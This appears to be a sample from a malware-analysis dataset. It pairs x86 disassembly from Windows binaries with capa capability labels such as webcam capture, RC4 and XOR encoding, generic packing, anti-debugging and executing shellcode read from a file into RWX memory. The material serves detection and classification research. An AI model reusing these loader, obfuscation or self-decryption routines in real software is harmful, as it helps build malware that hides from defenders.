joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45c400
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x45c433
push esi
call fcn.0045f550
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x45c42c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x45c4b9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x45c4a2
mov eax, dword [esi + 8]
test eax, eax
je 0x45c457
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x45c49e
cmp eax, 2
je 0x45c4a2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x45c44a
cmp eax, 3
je 0x45c47d
cmp eax, 1
jne 0x45c44a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x45c44a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x45c44a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0045c4e0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x45c4c8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0045c4e0
add esp, 4
pop esi
ret

Function at 0x468800
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4688a3
test eax, eax
jbe 0x4688a3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4688a3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46884e
xor esi, esi
jmp 0x468854
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46887f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0046ca50
add esi, eax
push esi
mov ebx, esi
call fcn.0046ca50
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x468860
pop ebp
test edi, edi
pop edi
jne 0x4688a3
test ebx, ebx
je 0x4688a3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004884a0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4689c5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x468add
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x468add
mov eax, dword [esi + 0x3c]
push eax
call fcn.00499e89
mov esi, eax
test esi, esi
je 0x468add
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x468add
mov ecx, esi
call fcn.00468950
cmp edi, eax
jge 0x468add
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x468a63
mov dword [esp + 0x34], 1
jmp 0x468abe
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x468add
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00467f00
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x472240
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x51539c]
xor edx, edx
cmp eax, edx
jne 0x472266
xor eax, eax
mov byte [eax + 0x51529c], al
inc eax
cmp eax, 0x100
jl 0x47224e
mov dword [0x51539c], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x51529c
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4722f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4722ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x472298
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x472300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x472353
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x47233a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x478d00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a6f6e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00479620
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x4c9cc4
call fcn.0049819f
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x478d93
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0049819f
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x478d8c
push 0
mov ecx, eax
call fcn.0046fe70
mov dword [esi + 0xc], eax
inc esi
invalid
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x478d95
xor esi, esi

Function at 0x49a82c
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x49a864
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004988b9
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00498891
jmp 0x49a870
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x49bf22
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x49bf64
call fcn.004a19d6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x49bf64
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x49bf5b
xor eax, eax
jmp 0x49bf6c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0049bf72
pop edi
pop esi
pop ebx
ret 4
Function at 0x4a1f06
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a1f34
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a1f52
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a1e6c
jmp 0x4a1f52
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a1f52
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a1e6c
test edi, edi
mov eax, edi
jne 0x4a1f3c
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x4017c7
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
call sub.kernel32.dll_GetCommandLineA
mov dword [0x405120], eax
mov ecx, ebp
add ecx, 8
mov dword [0x40508e], ecx
mov dword [0x405124], 0x30
mov dword [0x405128], 3
mov dword [0x405130], 0
mov dword [0x405134], 0
mov dword [0x40512c], 0x4030d6
mov eax, 0xffff0000
mov ebx, section..text
and ebx, eax
mov dword [0x405086], ebx
mov dword [0x405138], ebx
mov dword [0x405144], 0xf
mov dword [0x40514c], 0x405067
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [0x40513c], eax
mov dword [0x405150], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [0x405140], eax
push 0x405124
call sub.user32.dll_RegisterClassExA
push 0
push dword [0x405086]
push 0
push 0
push 0x2bc
push 0x1f4
push 0xa0
push 0x12c
push 0x40000
push str.Hello_word
push str.2class
push 0
call sub.user32.dll_CreateWindowExA
mov dword [0x405118], eax
push 0
push dword [0x405118]
call sub.user32.dll_ShowWindow
push dword [0x405118]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
push 0x405154
call sub.user32.dll_GetMessageA
or eax, eax
je 0x4018eb
push 0x405154
call sub.user32.dll_TranslateMessage
push 0x405154
call sub.user32.dll_DispatchMessageA
jmp 0x4018c1
mov eax, dword [0x40515c]
mov esi, dword [0x4051b4]
lea ecx, [0x405086]
add esi, eax
call esi
ret
Function at 0x401abb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f090]
jne 0x401ac5
repz ret
jmp fcn.004029b8

Function at 0x40b545
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407895
and dword [ebp - 4], 0
cmp dword [0x4312f8], 0
mov ebx, eax
jne 0x40b5f6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b6a7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b6a7
push eax
call fcn.00407823
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4312f8], eax
call esi
push eax
call fcn.00407823
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4312fc], eax
call esi
push eax
call fcn.00407823
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431300], eax
call esi
push eax
call fcn.00407823
pop ecx
mov dword [0x431308], eax
test eax, eax
je 0x40b5f6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407823
pop ecx
mov dword [0x431304], eax
mov eax, dword [0x431304]
cmp eax, ebx
je 0x40b64e
cmp dword [0x431308], ebx
je 0x40b64e
push eax
call fcn.0040789e
push dword [0x431308]
mov esi, eax
call fcn.0040789e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b64e
test edi, edi
je 0x40b64e
call esi
test eax, eax
je 0x40b645
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b645
test byte [ebp - 0xc], 1
jne 0x40b64e
or dword [ebp + 0x10], 0x200000
jmp 0x40b687
mov eax, dword [0x4312fc]
cmp eax, ebx
je 0x40b687
push eax
call fcn.0040789e
pop ecx
test eax, eax
je 0x40b687
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b687
mov eax, dword [0x431300]
cmp eax, ebx
je 0x40b687
push eax
call fcn.0040789e
pop ecx
test eax, eax
je 0x40b687
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4312f8]
call fcn.0040789e
pop ecx
test eax, eax
je 0x40b6a7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b6a9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40d84b
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x42f090]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
cmp dword [0x1ba792c], 0x930
jne 0x40d880
push 0x42cd98
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
cmp dword [0x1ba792c], 0x114e
mov eax, dword [ebp + 8]
mov dword [0x1ba7648], eax
jne 0x40d8b7
push esi
lea eax, [ebp - 0x804]
push eax
push esi
call sub.KERNEL32.dll_VerLanguageNameW
lea eax, [ebp - 0x820]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401abb
leave
ret
Function at 0x40a020
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x200
lea eax, [esp]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40a0cb
push ebx
push esi
lea ecx, [esp + 8]
push edi
push ecx
lea edx, [esp + 0x110]
push 0x40e394
push edx
call dword [sym.imp.msvcrt.dll_sprintf]
mov edi, 0x40e38c
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x210]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
test eax, eax
pop ebx
je 0x40a0b5
lea eax, [esp + 0x100]
lea ecx, [esp]
push eax
push ecx
call dword [sym.imp.msvcrt.dll_rename]
add esp, 8
add esp, 0x200
ret
lea edx, [esp]
lea eax, [esp + 0x100]
push edx
push eax
call dword [sym.imp.msvcrt.dll_rename]
add esp, 8
add esp, 0x200
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x4fb347c
Capabilities:
Encode data using xor

Disassembly:
call 0x4fb33f5
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x4fb3425
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x4fb3441
xor edx, 0
jmp 0x4fb344c
xor edx, edx
jmp 0x4fb3463
jmp 0x4fb346f
xor eax, eax
push 0x8427d7c0
call 0x4fb347c
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x4fb34b8
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x4fb3491
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x4fb34cf
add eax, 0
jno 0x4fb34d4
add esi, 0
ret 0x10

Function at 0x4fb423d
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x4fb425f
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x4fb4401
cmp edi, dword [ebp + 0x10]
jb 0x4fb4401
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.04fb3d29
inc edi
jmp 0x4fb42e8
jmp 0x4fb42f5
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.04fb3d29
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.04fb3d29
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x4fb4349
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x4fb432d
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.04fb4377
add dword [eax], 0x39
jle 0x4fb4353
sub al, 0xf5
mov ch, al
call fcn.04fb438c
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x4fb6064
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x4fb607a
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x4fb608b
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.04fb60cc
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x4fb8438
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x4fb8381
add ebx, 0
push ecx
call 0x4fb8396
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x71d461ad
sub ebx, dword [0x71d659ec]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x71d659dc
call fcn.04fb3e60
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.04fb336e
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x4fb84f4
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x4fb84f4
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x4fb84ab
mov eax, 1
lock xchg dword [0x71d659e8], eax
push 0x3dd1fc71
call 0x4fb8438
push esi
add esp, 8
cmp eax, 0
jne 0x4fb8421
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x4fb8447
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x4fb845c
cmp ecx, edx
cmp eax, 0
je 0x4fb8481
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x4fb846b
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.04fb849a
dec eax
loope 0x4fb849d
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x71d659e8], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x4fb84d1
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x4fb84e6
jmp 0x4fb84f1
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x4fb83df